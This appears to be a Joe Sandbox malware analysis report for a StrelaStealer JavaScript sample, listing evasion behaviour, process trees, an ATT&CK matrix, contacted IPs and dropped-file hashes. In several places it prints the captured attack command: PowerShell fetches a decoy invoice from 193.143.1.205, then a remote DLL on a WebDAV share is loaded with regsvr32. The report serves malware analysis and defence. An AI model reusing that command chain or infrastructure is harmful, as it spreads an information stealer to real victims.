Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4851			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5005			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2096	Thread sleep count: 4851 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep count: 5005 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5896	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3360	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4832	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2268630359.00000250733FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2268630359.00000250733FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2268630359.0000025073398000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3476343933.00000225C3C54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3475307745.00000225BE62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3462260851125011899.js	7%	Virustotal		Browse
3462260851125011899.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/t3f	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/paceP	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/l3n	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2192491117.000002301935D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2268098232.00000225C3A70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3476197616.00000225C3C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
http://193.143.1.205:8888/paceP	net.exe, 00000007.00000002.2268630359.0000025073398000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2268630359.00000250733CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2268630359.0000025073398000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/l3n	net.exe, 00000007.00000002.2268630359.00000250733CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/t3f	net.exe, 00000007.00000002.2268630359.00000250733CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588651
Start date and time:	2025-01-11 03:41:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3462260851125011899.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 84.201.210.36, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 23.200.0.21, 23.200.0.33, 192.168.2.6, 13.107.246.45, 52.22.41.97, 4.175.87.197, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:42:15	API Interceptor	23x Sleep call for process: powershell.exe modified
21:42:19	API Interceptor	1x Sleep call for process: net.exe modified
21:42:20	API Interceptor	2x Sleep call for process: svchost.exe modified
21:42:27	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263152233357328
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0V:9JZj5MiKNnNhoxuo
MD5:	F29345A78A225BC48206A1871BEB182B
SHA1:	132B61EE162DA9EA5E555041621A25C1924FB53F
SHA-256:	6B159C1631E293E3C81D55D9B19BA58A37407C27D6A3378EF8E02896545C51F5
SHA-512:	417532D0E8E5986D93DE9F9A481E1CD42F72DD41D6B342F3627386F6460E8C59E71A7FB35C4921057ED7F6A99D082D38EB5544810E2DCF58B90A7F71DA64DE18
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x905583d8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555934745123938
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	2C556D47887425E63E1C99BCC37641F3
SHA1:	86BFC0442D1A66D05E29BEFE19F0D14D91891A7A
SHA-256:	A73CC890D5284917F1CEB38B4B2FF75F098D362D50E32D37712399EE04B5C204
SHA-512:	BD43D12234BCC9380000DDCCB797FB10947AC76BDFF6B6D027CD490BD41499B75B0FC73DD963039C0917AAF9941D67C2DA5AD7086DE742B1C8080E6886040A7C
Malicious:	false
Preview:	.U..... .......7.......X\...;...{......................0.e......!...{?.....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.................................._.=.....}.......................*...}#..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
